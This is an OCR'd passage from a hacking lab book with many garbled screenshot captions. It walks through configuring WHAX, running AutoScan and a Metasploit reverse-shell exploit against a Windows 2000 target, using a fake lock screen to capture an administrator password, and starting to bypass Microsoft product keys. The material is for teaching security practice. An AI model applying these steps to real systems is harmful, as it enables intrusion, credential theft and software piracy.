| Fle Edt Wew %M Team ‘Windows Help
ENEREEEIREEEE ]
i 1 IE I5 -~ T

DefaultDepth 8

DefaultDepth 16
DefaultDepth 24

DefaultDepth 32

"1824x768" is also a conservative usable default resolution. If you
have a better monitor, feel free to try resolutions such as
"1152x864", "1288x1@824", "1680x1288", and T18AAx1488" (or whatever your

card/monitor can produce)

Subsection "Display™
Depth
Modes "1B24x768" "BBHxEAB" "64Bx488"
EndSubsection
Subsection "Display™
Depth 16
Modes "1824x768" "808x608" "G48x488"
EndSubsection
Subsection "Display”
Depth 24
Modes "BBAxEAB
Modes "1824x768" "8H8x6BB" "G648x488"
EndSubsection
Subsection "Display”

GCom@Ww

&YDU do not have YMware Tools installed.
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Now save the file by typing wq! and pressing Enter. You must include
the ! to force the writing of this file as it is set to Read Only.

[El WHAX - YMware Workstation N [ 3
File Edit WVew ¥M Team ‘Windows Help

NP EEEIGEEETSE
[ 15~ HRTEY

1]

DefaultDepth 8
DefaultDepth 1B
DefaultDepth 24
DefaultDepth 32

"1824x768" is also a conservative usable default resolution. If you
have a better monitor, feel free to try resolutions such as

"1152x864", "1288x1824", "16B8x1288", and "1888x1488" (or whatever your
card/monitor can produce)

Subsection "Display”
Depth
Modes "1824x768" "880x688" "648x488"
EndSubsection
Subsection "Display”
Depth 16
Modes "1824x768" "8BAxEHB" "G648x488"
EndSubsection
Subsection "Display”
Depth 24
Modes "888x668"
Modes "1024x768" "888x6HB" "648x488"
EndSubsection
Subsection "Display”™
H L

/A You do nat have YMware Taols installed, %I:I B| [y

You will receive verification that the file was written.

=
| File  Edit Wiew ¥M Team ‘Windows Help

O EEN )]
FooT - BT

i Vi
DefaultDepth 1B
DefaultDepth 24
DefaultDepth 32

"1824x768" is also a conservative usable default resolution. If you
have a better monitor, feel free to try resolutions such as

"1152x864", "1288x1824", "16BAx1288", and "18BAx1488" (or whatever your
card/monitor can produce)

Subsection "Display”

Depth g

Modes "1B24x768" "88@x6HR" "648x488"
EndSubsection
Subsection "Display”

"'8688x608" "640x488"

Subsection "Display”
Depth 24
Modes "888x668"
Modes "1824x768" "88Bx6BAT "64Bx488"
EndSubsection
Subsection "Display”
"setcsX11l/xorg.conf” 486L, 15952C written
root@slax:"# _

/A ¥ou do nat have Whware Tools installed, %D B| [} 4
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Now start the Graphical User Interface (GUID) by typing startx and pressing
Enter.

WHAX - ¥Mware Workstation [

H File Edit WVew ¥M Team ‘Windows Help

s nfre|lta@|deal®

DefaultDepth 16
DefaultDepth 24
DefaultDepth 32

"1824x768" is also a conservative usable default resolution. If you
have a better monitor, feel free to try resolutions such as

"1152x864", "1288x1824", "16B8x1288", and "1888x1488" (or whatever your
card/monitor can produce)

Subsection "Display”
Depth i
Modes "1824x768" "808x688" "648x488"
EndSubsection
Subsection "Display”
Depth
"888x608" "640x488"
EndSubsect
Subsection "Display”
Depth 24
Modes "888x688"
Modes "1824x768" "BBBx688" “648x488"
EndSubsection
Subsection "Display”
“setcsX11l/xorg.conf” 486L, 15952C written
root@slax:"# startx_

/A You do nat have YMware Taols installed,

BoaE®w »

The Xwindows environment will boot up.

18] WHAX - VMware Workstation
|J Fle Edt Yiew ¥M Team Windows Help

|m n[s & @ Rl ==l

Bew@E

A ou da not have YMware Tools installed.
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The WHAX desktop will be displayed.

WHAX - ¥Mware Workstation
|| Fle Edit Miew WM Team ‘Windows Help

I A E=ER
(3l | [ L

~=101x]

ivEsecurityresource

FEEELREDE ] z g2:0t
)\ ¥ou da ot have WWware Taols nstalled Eemm®

Click the ¥ button on the taskbar, then select /WHAX Tools/Scanners/
Port-Scanners/AutoScan(0.9.5). The AutoScan application will display a
splash screen.

WHAX - YMware Workstation o [=] 3]

|| File Edit Wiew WM Team ‘Windows Help
IEREREEEEEEEE
iy Widow | |l

(c) 2004 - 2005 , Thierry Lagarde

"Loading

Hu@de H FEW 12z g
& ¥ou do nok have Viware Tools installed =P

cCa
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AutoScan does not appear like most applications when started. Instead, it
places an icon over by the clock on the taskbar. Double-click on that icon.

i =Dl
_}FHE Edit  Wiew WM Team ‘Windows Help
ERIEEEEEEEEEE ]
b Vidw | EEEETE [ | | el e | [EYETE )

-~

B¢ O -

AutoScan 0.95 R1

Ha@xdew & ZEp |2 22iM

/A You do nok have ¥Mware Tools installed

Gow®vy

The AutoScan Start screen appears. Click the Preferences button.

R
| Fle Edt View WM Team ‘windows Help
mmjra|lBai|DBE @8
[T | e e (R NI 5 whiax )

~ =l

Select the desired network
{New network
[ To add the new found machines
24, Preferences W cancer ‘ W ok
Hea@Xde -] [stant Ew 1|z 2

A\ ou do not have Wiware Tools installed. =T




484 w  Practical Hacking Techniques and Countermeasures

The current network Preferences will be displayed.

WHAX - ¥Mware Workstation

| Fle Edt view WM Team ‘Windows Help

Preferences

Interface etho |
Thread max |50 El

Private Subnet.

Mask
255.255.255.0 192.168.0.0

& save | W cancer ‘

B @ 3¢ es ~| |<o Start | ) Preferences e 12 iy |
A\ You do ok have Yiwers Tools installed, Ecmmv

Highlight the current network.

WHAX - ¥Mware Workstation

| Fle Edt view WM Team ‘Windows Help

Preferences

{Q) Interfaces Interface etho -
-z Thread max |50 El
%7 Preferences

A

Private Subnet.

255.255.255.0 j 192 168 o
) add ‘ ol Delete ‘ v ®

W cancer ‘

B

B @ 5 A e ~| |~ Start | ) Preferences | @ 1|z 220k
A ou da not have YMware Tooks installed. [eN=1 1= 1D
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Edit the network settings to match your current network.

WHAX - ¥Mware Workstation

| Fle Edt view WM Team ‘Windows Help

Preferences

u Interfaces Interface etho -
-z Thread max |50 El
%7 Preferences

A

Private Subnet.

255.255.255.0 j 172 16 1‘
) add ‘ ol Delete ‘ W ok ‘ I cancel |

& save | W cancer ‘

EECER -] < start | Preferences @ |2 22
& You da not have Wware Tols installed. Eemmey

Make sure that the correct interface is selected. Click the OK button. Click
the Save button.

Bl WHAX - ¥Mware Workstation

| Fle Edt View WM Team ‘windows Help
mnjre|lgaid|Doa mB

Preferences

u Interfaces Interface [ethl A
Ly Thread max |50 5 Q
’x Preferences E

Private Subnet.

Mask

255.255.255.0 1721610

@ A v | S Start | 2 Preferences |EEw 1|z 22|
& ¥ou do not have Wiware Tols installed. Eemmey
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You will be brought back to the Start screen. Click the OK button.

WHAX - ¥Mware Workstation

| Fle Edt view WM Team ‘Windows Help

Selectthe desired network

¥ To add the new found machines "
. Preferences I cancen
®

Hm@XDdeo -| [0 start | mE® 1z 2

A\ You do ok have Yiwers Tools installed, =1L I

AutoScan will start and populate the network.

*Note: Be patient in this step as AutoScan may take a minute or so to populate the list.

B WHAX - YMware Workstation o [=] 3]
| Fle Edt Vew WM Team ‘windows Help

AutoScan 0.95 R

Network  Settings  Help

@ Server
Unknown equipment
@ (@l Workstation

_ @/ add a subnet

s Wil 2 Update host
: (3. Net send
ome | script ’
EFORLY - o a 05 fingerpiinting
R (@) Quit

Select an unknown equipment
and click on "Add a OS fingerprinting"

Next

Ha@xXdeo *| . PutoScan 0.95 R1 | s e e

A\ You da nk have Yiware Tols nstalled, (=T
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Expand the devices found by clicking on the + symbol and locate a target.

Notice the TP address of the target when you select it.

WHAX - ¥YMware Workstation B

| Fle Edt view Team

Wwindows

Help

Network Settings Help

AutoScan 0.95 Rl

& ' Server
& il HACKSYM
L HOME
& 54 WORKGROUP
- fif WIN2000S

Lt
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Right-click the target and select Script, then Metasploit.
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The Metasploit settings screen will be displayed.
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Change Select payload to Reverse Shell.
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Under Payload options change the Listening host to the network card
you are using. Click the Exploit button.

*Note: Most readers will not have to make the Listening Host change. In my Virtual
Machine I had two virtual network cards (NICs) installed and had to tell
AutoScan which one to use.
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The appropriate screen, according to the parameters you just set, will appear.
In this case, I immediately received a DOS prompt, hopefully from the target.

18 WHAX - Yiiware WorksLatiun =lol
Fin Ect  View VM Team Windows  Help

*+1 Lot conmection from 172,1 7 4=» 172,181 8a:1167

Micrusuft Wirdous 2000 [Yersion 5,00,21951
L} Copyright 1986-1%9 Hicroaoft Corp,

(BRI |

: | 5|
st i~ i
o= DD
FiF marpc Nellios ssn  micoseilds  NFS or iy Netuinlo
"‘Q‘
9 ¢
madre Terrninal
Server
PELEL.L R [=] s avtoscannasm  [mated  mw

8 ¥ou o it s imars Tooks intaied. Rommei




490 w Practical Hacking Techniques and Countermeasures

To verify that T am indeed on the target computer, I type the command
ipconfig and press Enter.
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The TP address listed is indeed that of the target.
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*Note: If you attempt to attack a target and the screen appears, attempts to run, and
then disappears, chances are the attack will not work against that target. This
does not mean other attacks will not work but the legwork an attacker performs,
as outlined in previous labs, tells the attacker which exploit to attempt.
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Lab 73: Unique Fake Lock Screen XP

Grab the Administrator Password: Fake Lock Screen XP

Prerequisites: Windows XP

Countermeasures: Strong security policies, strong physical security

Description: Until now, the “Fake” security screen locks did not handle
Microsoft’s Ctrl+Alt+Del screen. As soon as the computer unlocks, a
message box pops up saying you entered the wrong password, so you
type it in again carefully; this time Windows logs it and tells you that
this will log you off, just like in the real lock screen. The Administrative
password will be saved locally on the hard drive.

Procedure: Start the application, set the parameters, and execute.

From the directory containing the Screen XP application, double-click the
appropriate Lock.exe icon.

3 O

Lok, Lockz
or

*Note: Which icon? According to the author, the difference is whether or not Win-
dows XP is using Visual Styles. If unsure, try the Lock.exe.

The Screen XP parameters screen will be displayed.
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Because the goal of this program is to obtain an Administrative program you
want to enter the Username of a known Administrative account. In this account
the Administrator account is used. Click Add (you can add up to 10 usernames).
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Notice the user’s password file location. By default it is C:\pass.txt. You
can save the file to a network location; an attacker will more than likely do
so, saving the file to a location he or she personally has access to or even to
a removable pen drive plugged into the computer.

Change the DefaultUser text that will appear when the screen is “locked”
to a known valid username on the network. In this example, I used Userl.

8] windaws 2000 Professinnal - Veware Woekstation =10 x|

Fie ERt Vew WM Tesn Wedows Hep

[snebanDea o

Irternet
Exphre I —

3

Cornext tu
the Intaret

1
it computer it kocked. Dinky COMPUTER! Adminsstistor o an advnististor can urlock this computer

s
[ Drdy COMPUTERY, Admiristeshor o am adminisiraion can unlock: iy computer

Mston| | 1) & S| | program |[= options [ sasm

EomNi




Vulnerability Scanning ® 493

Edit the next line of text that will be displayed to the user on the “Locked”
screen to the computer name on the network. In this example, I used W2KP.
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Edit the last line to change the text to match the computer name as before.
This name should match the name as above. Click the Save The Options
And Lock The Computer button
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The computer screen will now be “Locked.” Notice the username you
identified earlier is already filled in.

] Windews 2000 Profrssinnal - Vware Workstation

| Fe E Vew VM Tesn Widow Heb

This computer is 1 upe ond hes bren locked.
Oy WarFuser | (Ustr Oné) or an advinetystor can urlodk this
COmERAES.

L [
L |

o |

The user will enter his or her password.

1 windowes 2000 Professional - ¥ware Workstabion

Fie Edt Ve WM Tean Window e

This computer is 1 upe ond hes bren locked.
Oy WarFuser | (Ustr Oné) or an advinetystor can urlodk this
COmERAES.

Userrome: [iwe
Paword [Tl

o |




Vulnerability Scanning ®m 495

Even if the user enters the correct password, he or she will receive the
following error screen. Click OK.
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The idea is to have a user with Administrative privileges log into the
computer to allow the user to reset his or her password since he or she has
apparently “forgotten” his or her password.

*Note: With remote Administrative applications in an abundant supply, this tool is
only effective if the user can get a user with Administrative privileges to log
in locally. In this example, the Administrative user is the Administrator.
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The Administrative user will now enter his or her password.

This computer is in use and has heen locked

Only 2Pt Administrator or an administrator can uniock this
computer

User name: 2 dministrator

Password  [eeeese
Cancel
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The Administrative user will receive the following caution message about
logging off the currently logged-in user. The user will click OK and log into
the computer. The moment the user logs in, a file will be created and saved
into the directory identified earlier (C:\pass.txt).
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At a later time (preferably when no one is around), the attacker can return
to the exploited computer and browse to the directory containing the pass-
word file.
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The attacker will of course remove this file, but for this lab I simply opened
it. As you will notice the Administrator password is listed in the file.
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*Note: Although this lab requires local access to the computer, take a good look the
next time you walk around the office and notice the unlocked workstations
just sitting there with no one at the desk. Better yet, take a look at all the
computers at your local computer store. They are all unlocked by default and
many of them allow anyone to execute anything he or she wants. Many
computer stores simply assume that if they do not allow Internet access they
are alright, but that is not so.
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Lab 74: Bypassing Microsoft Serial Numbers

]
.IU

Bypassing Serial Number Protection: RockXP/Custom Script widous

Prerequisites: None

Countermeasures: Frequent serial number verification, strong security
policy

Description: Like many other companies, Microsoft uses serial numbers
to protect its software from being handed out freely. Serial numbers
have a flaw as well because with the Internet these numbers can be
freely passed out to anyone. Because of this, Microsoft came up with
a verification process that validates the product key of the version of
Windows (XP) you are running before allowing you to download any
updates. Although several “Crack” versions have been released on the
Internet, many of them are corrupted or contain viruses or Trojan
horses and cannot be trusted. By using one free software package and
a custom script, anyone can bypass Windows XP’s product key verifi-
cation or obtain a valid copy of a Microsoft Office product’s serial
number.

Procedure: Execute the first application, gather the data, insert into the
custom script, and execute.

Open the RockXP application by clicking on the rockxp3.exe icon.
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The RockXP application will start and you are greeted with the Welcome
screen. Click on I Agree.
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The remaining program tabs will appear across the top of the application.
Click on the MS Product Key tab.
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By clicking the downward-pointing arrow you can choose from the list of
installed Microsoft products installed on the computer.
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Select one from the list. The working, valid serial number will be displayed
for the application you selected.
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Click the EEEERENEEE button. The serial number can be saved to a desired
location. In this example the serial number was saved as a text file named
Office2003.txt.
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When the file is o